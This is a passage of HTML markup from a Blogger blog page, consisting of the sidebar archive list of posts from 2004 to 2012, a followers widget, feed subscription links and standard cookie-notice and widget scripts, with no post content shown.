</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2012/11/'>
November
</a>
<span class='post-count' dir='ltr'>(1)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2012/09/'>
September
</a>
<span class='post-count' dir='ltr'>(1)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2012/02/'>
February
</a>
<span class='post-count' dir='ltr'>(2)</span>
</li>
</ul>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2011/'>
2011
</a>
<span class='post-count' dir='ltr'>(5)</span>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2011/11/'>
November
</a>
<span class='post-count' dir='ltr'>(1)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2011/06/'>
June
</a>
<span class='post-count' dir='ltr'>(1)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2011/03/'>
March
</a>
<span class='post-count' dir='ltr'>(3)</span>
</li>
</ul>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2010/'>
2010
</a>
<span class='post-count' dir='ltr'>(7)</span>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2010/11/'>
November
</a>
<span class='post-count' dir='ltr'>(1)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2010/10/'>
October
</a>
<span class='post-count' dir='ltr'>(1)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2010/09/'>
September
</a>
<span class='post-count' dir='ltr'>(2)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2010/02/'>
February
</a>
<span class='post-count' dir='ltr'>(1)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2010/01/'>
January
</a>
<span class='post-count' dir='ltr'>(2)</span>
</li>
</ul>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2009/'>
2009
</a>
<span class='post-count' dir='ltr'>(14)</span>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2009/10/'>
October
</a>
<span class='post-count' dir='ltr'>(2)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2009/08/'>
August
</a>
<span class='post-count' dir='ltr'>(1)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2009/07/'>
July
</a>
<span class='post-count' dir='ltr'>(2)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2009/06/'>
June
</a>
<span class='post-count' dir='ltr'>(1)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2009/05/'>
May
</a>
<span class='post-count' dir='ltr'>(1)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2009/04/'>
April
</a>
<span class='post-count' dir='ltr'>(1)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2009/03/'>
March
</a>
<span class='post-count' dir='ltr'>(1)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2009/02/'>
February
</a>
<span class='post-count' dir='ltr'>(2)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2009/01/'>
January
</a>
<span class='post-count' dir='ltr'>(3)</span>
</li>
</ul>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2008/'>
2008
</a>
<span class='post-count' dir='ltr'>(25)</span>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2008/12/'>
December
</a>
<span class='post-count' dir='ltr'>(4)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2008/11/'>
November
</a>
<span class='post-count' dir='ltr'>(2)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2008/10/'>
October
</a>
<span class='post-count' dir='ltr'>(5)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2008/09/'>
September
</a>
<span class='post-count' dir='ltr'>(3)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2008/07/'>
July
</a>
<span class='post-count' dir='ltr'>(4)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2008/06/'>
June
</a>
<span class='post-count' dir='ltr'>(1)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2008/04/'>
April
</a>
<span class='post-count' dir='ltr'>(2)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2008/03/'>
March
</a>
<span class='post-count' dir='ltr'>(1)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2008/02/'>
February
</a>
<span class='post-count' dir='ltr'>(3)</span>
</li>
</ul>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2007/'>
2007
</a>
<span class='post-count' dir='ltr'>(18)</span>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2007/12/'>
December
</a>
<span class='post-count' dir='ltr'>(1)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2007/11/'>
November
</a>
<span class='post-count' dir='ltr'>(3)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2007/10/'>
October
</a>
<span class='post-count' dir='ltr'>(2)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2007/09/'>
September
</a>
<span class='post-count' dir='ltr'>(2)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2007/08/'>
August
</a>
<span class='post-count' dir='ltr'>(3)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2007/07/'>
July
</a>
<span class='post-count' dir='ltr'>(1)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2007/06/'>
June
</a>
<span class='post-count' dir='ltr'>(1)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2007/05/'>
May
</a>
<span class='post-count' dir='ltr'>(1)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2007/04/'>
April
</a>
<span class='post-count' dir='ltr'>(2)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2007/02/'>
February
</a>
<span class='post-count' dir='ltr'>(1)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2007/01/'>
January
</a>
<span class='post-count' dir='ltr'>(1)</span>
</li>
</ul>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2006/'>
2006
</a>
<span class='post-count' dir='ltr'>(32)</span>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2006/12/'>
December
</a>
<span class='post-count' dir='ltr'>(3)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2006/11/'>
November
</a>
<span class='post-count' dir='ltr'>(5)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2006/10/'>
October
</a>
<span class='post-count' dir='ltr'>(1)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2006/09/'>
September
</a>
<span class='post-count' dir='ltr'>(2)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2006/08/'>
August
</a>
<span class='post-count' dir='ltr'>(5)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2006/07/'>
July
</a>
<span class='post-count' dir='ltr'>(3)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2006/05/'>
May
</a>
<span class='post-count' dir='ltr'>(1)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2006/04/'>
April
</a>
<span class='post-count' dir='ltr'>(2)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2006/03/'>
March
</a>
<span class='post-count' dir='ltr'>(3)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2006/02/'>
February
</a>
<span class='post-count' dir='ltr'>(2)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2006/01/'>
January
</a>
<span class='post-count' dir='ltr'>(5)</span>
</li>
</ul>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2005/'>
2005
</a>
<span class='post-count' dir='ltr'>(46)</span>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2005/12/'>
December
</a>
<span class='post-count' dir='ltr'>(1)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2005/11/'>
November
</a>
<span class='post-count' dir='ltr'>(3)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2005/10/'>
October
</a>
<span class='post-count' dir='ltr'>(9)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2005/09/'>
September
</a>
<span class='post-count' dir='ltr'>(5)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2005/08/'>
August
</a>
<span class='post-count' dir='ltr'>(2)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2005/07/'>
July
</a>
<span class='post-count' dir='ltr'>(3)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2005/06/'>
June
</a>
<span class='post-count' dir='ltr'>(7)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2005/05/'>
May
</a>
<span class='post-count' dir='ltr'>(1)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2005/04/'>
April
</a>
<span class='post-count' dir='ltr'>(4)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2005/03/'>
March
</a>
<span class='post-count' dir='ltr'>(3)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2005/02/'>
February
</a>
<span class='post-count' dir='ltr'>(4)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2005/01/'>
January
</a>
<span class='post-count' dir='ltr'>(4)</span>
</li>
</ul>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2004/'>
2004
</a>
<span class='post-count' dir='ltr'>(19)</span>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2004/12/'>
December
</a>
<span class='post-count' dir='ltr'>(2)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2004/11/'>
November
</a>
<span class='post-count' dir='ltr'>(6)</span>
</li>
</ul>
<ul class='hierarchy'>
<li class='archivedate collapsed'>
<a class='toggle' href='javascript:void(0)'>
<span class='zippy'>

        &#9658;&#160;
      
</span>
</a>
<a class='post-count-link' href='https://atdotde.blogspot.com/2004/10/'>
October
</a>
<span class='post-count' dir='ltr'>(11)</span>
</li>
</ul>
</li>
</ul>
</div>
</div>
<div class='clear'></div>
</div>
</div><div class='widget Followers' data-version='1' id='Followers1'>
<h2 class='title'>Followers</h2>
<div class='widget-content'>
<div id='Followers1-wrapper'>
<div style='margin-right:2px;'>
<div><script type="text/javascript" src="https://apis.google.com/js/plusone.js"></script>
<div id="followers-iframe-container"></div>
<script type="text/javascript">
    window.followersIframe = null;
    function followersIframeOpen(url) {
      gapi.load("gapi.iframes", function() {
        if (gapi.iframes && gapi.iframes.getContext) {
          window.followersIframe = gapi.iframes.getContext().openChild({
            url: url,
            where: document.getElementById("followers-iframe-container"),
            messageHandlersFilter: gapi.iframes.CROSS_ORIGIN_IFRAMES_FILTER,
            messageHandlers: {
              '_ready': function(obj) {
                window.followersIframe.getIframeEl().height = obj.height;
              },
              'reset': function() {
                window.followersIframe.close();
                followersIframeOpen("https://www.blogger.com/followers.g?blogID\x3d8883034\x26colors\x3dCgt0cmFuc3BhcmVudBILdHJhbnNwYXJlbnQaByM5OTk5OTkiByM2Njk5Y2MqByNGRkZGRkYyByNmZjY2MzM6ByM5OTk5OTlCByM2Njk5Y2NKByMwMDAwMDBSByM2Njk5Y2NaC3RyYW5zcGFyZW50\x26pageSize\x3d21\x26postID\x3d8583103985111654027\x26origin\x3dhttps://atdotde.blogspot.com/");
              },
              'open': function(url) {
                window.followersIframe.close();
                followersIframeOpen(url);
              },
              'blogger-ping': function() {
              }
            }
          });
        }
      });
    }
    followersIframeOpen("https://www.blogger.com/followers.g?blogID\x3d8883034\x26colors\x3dCgt0cmFuc3BhcmVudBILdHJhbnNwYXJlbnQaByM5OTk5OTkiByM2Njk5Y2MqByNGRkZGRkYyByNmZjY2MzM6ByM5OTk5OTlCByM2Njk5Y2NKByMwMDAwMDBSByM2Njk5Y2NaC3RyYW5zcGFyZW50\x26pageSize\x3d21\x26postID\x3d8583103985111654027\x26origin\x3dhttps://atdotde.blogspot.com/");
  </script></div>
</div>
</div>
<div class='clear'></div>
</div>
</div></div>
</div>
<!-- spacer for skins that want sidebar and main to be the same height-->
<div class='clear'>&#160;</div>
</div>
<!-- end content-wrapper -->
<div id='footer-wrapper'>
<div class='footer section' id='footer'><div class='widget Subscribe' data-version='1' id='Subscribe1'>
<div style='white-space:nowrap'>
<h2 class='title'>Feeds</h2>
<div class='widget-content'>
<div class='subscribe-wrapper subscribe-type-POST'>
<div class='subscribe expanded subscribe-type-POST' id='SW_READER_LIST_Subscribe1POST' style='display:none;'>
<div class='top'>
<span class='inner' onclick='return(_SW_toggleReaderList(event, "Subscribe1POST"));'>
<img class='subscribe-dropdown-arrow' src='https://resources.blogblog.com/img/widgets/arrow_dropdown.gif'/>
<img align='absmiddle' alt='' border='0' class='feed-icon' src='https://resources.blogblog.com/img/icon_feed12.png'/>
Posts
</span>
<div class='feed-reader-links'>
<a class='feed-reader-link' href='https://www.netvibes.com/subscribe.php?url=https%3A%2F%2Fatdotde.blogspot.com%2Ffeeds%2Fposts%2Fdefault' target='_blank'>
<img src='https://resources.blogblog.com/img/widgets/subscribe-netvibes.png'/>
</a>
<a class='feed-reader-link' href='https://add.my.yahoo.com/content?url=https%3A%2F%2Fatdotde.blogspot.com%2Ffeeds%2Fposts%2Fdefault' target='_blank'>
<img src='https://resources.blogblog.com/img/widgets/subscribe-yahoo.png'/>
</a>
<a class='feed-reader-link' href='https://atdotde.blogspot.com/feeds/posts/default' target='_blank'>
<img align='absmiddle' class='feed-icon' src='https://resources.blogblog.com/img/icon_feed12.png'/>
                  Atom
                </a>
</div>
</div>
<div class='bottom'></div>
</div>
<div class='subscribe' id='SW_READER_LIST_CLOSED_Subscribe1POST' onclick='return(_SW_toggleReaderList(event, "Subscribe1POST"));'>
<div class='top'>
<span class='inner'>
<img class='subscribe-dropdown-arrow' src='https://resources.blogblog.com/img/widgets/arrow_dropdown.gif'/>
<span onclick='return(_SW_toggleReaderList(event, "Subscribe1POST"));'>
<img align='absmiddle' alt='' border='0' class='feed-icon' src='https://resources.blogblog.com/img/icon_feed12.png'/>
Posts
</span>
</span>
</div>
<div class='bottom'></div>
</div>
</div>
<div class='subscribe-wrapper subscribe-type-PER_POST'>
<div class='subscribe expanded subscribe-type-PER_POST' id='SW_READER_LIST_Subscribe1PER_POST' style='display:none;'>
<div class='top'>
<span class='inner' onclick='return(_SW_toggleReaderList(event, "Subscribe1PER_POST"));'>
<img class='subscribe-dropdown-arrow' src='https://resources.blogblog.com/img/widgets/arrow_dropdown.gif'/>
<img align='absmiddle' alt='' border='0' class='feed-icon' src='https://resources.blogblog.com/img/icon_feed12.png'/>
Comments
</span>
<div class='feed-reader-links'>
<a class='feed-reader-link' href='https://www.netvibes.com/subscribe.php?url=https%3A%2F%2Fatdotde.blogspot.com%2Ffeeds%2F8583103985111654027%2Fcomments%2Fdefault' target='_blank'>
<img src='https://resources.blogblog.com/img/widgets/subscribe-netvibes.png'/>
</a>
<a class='feed-reader-link' href='https://add.my.yahoo.com/content?url=https%3A%2F%2Fatdotde.blogspot.com%2Ffeeds%2F8583103985111654027%2Fcomments%2Fdefault' target='_blank'>
<img src='https://resources.blogblog.com/img/widgets/subscribe-yahoo.png'/>
</a>
<a class='feed-reader-link' href='https://atdotde.blogspot.com/feeds/8583103985111654027/comments/default' target='_blank'>
<img align='absmiddle' class='feed-icon' src='https://resources.blogblog.com/img/icon_feed12.png'/>
                  Atom
                </a>
</div>
</div>
<div class='bottom'></div>
</div>
<div class='subscribe' id='SW_READER_LIST_CLOSED_Subscribe1PER_POST' onclick='return(_SW_toggleReaderList(event, "Subscribe1PER_POST"));'>
<div class='top'>
<span class='inner'>
<img class='subscribe-dropdown-arrow' src='https://resources.blogblog.com/img/widgets/arrow_dropdown.gif'/>
<span onclick='return(_SW_toggleReaderList(event, "Subscribe1PER_POST"));'>
<img align='absmiddle' alt='' border='0' class='feed-icon' src='https://resources.blogblog.com/img/icon_feed12.png'/>
Comments
</span>
</span>
</div>
<div class='bottom'></div>
</div>
</div>
<div style='clear:both'></div>
</div>
</div>
<div class='clear'></div>
</div></div>
</div>
</div></div>
<!-- end outer-wrapper -->
<script src='https://apis.google.com/js/plusone.js' type='text/javascript'></script>
<!--It is your responsibility to notify your visitors about cookies used and data collected on your blog. Blogger makes a standard notification available for you to use on your blog, and you can customise it or replace it with your own notice. See http://www.blogger.com/go/cookiechoices for more details.-->
<script defer='' src='/js/cookienotice.js'></script>
<script>
    document.addEventListener('DOMContentLoaded', function(event) {
      window.cookieChoices && cookieChoices.showCookieConsentBar && cookieChoices.showCookieConsentBar(
          (window.cookieOptions && cookieOptions.msg) || 'This site uses cookies from Google to deliver its services and to analyse traffic. Your IP address and user agent are shared with Google, together with performance and security metrics, to ensure quality of service, generate usage statistics and to detect and address abuse.',
          (window.cookieOptions && cookieOptions.close) || 'Ok',
          (window.cookieOptions && cookieOptions.learn) || 'Learn more',
          (window.cookieOptions && cookieOptions.link) || 'https://www.blogger.com/go/blogspot-cookies');
    });
  </script>

<script type="text/javascript" src="https://www.blogger.com/static/v1/widgets/1434883710-widgets.js"></script>
<script type='text/javascript'>
window['__wavt'] = 'AOuZoY7fpqonqzkXgHZOGpG6NnX9YoM3VQ:1640306116799';_WidgetManager._Init('//www.blogger.com/rearrange?blogID\x3d8883034','//atdotde.blogspot.com/2020/05/high-performance-hackers.html','8883034');
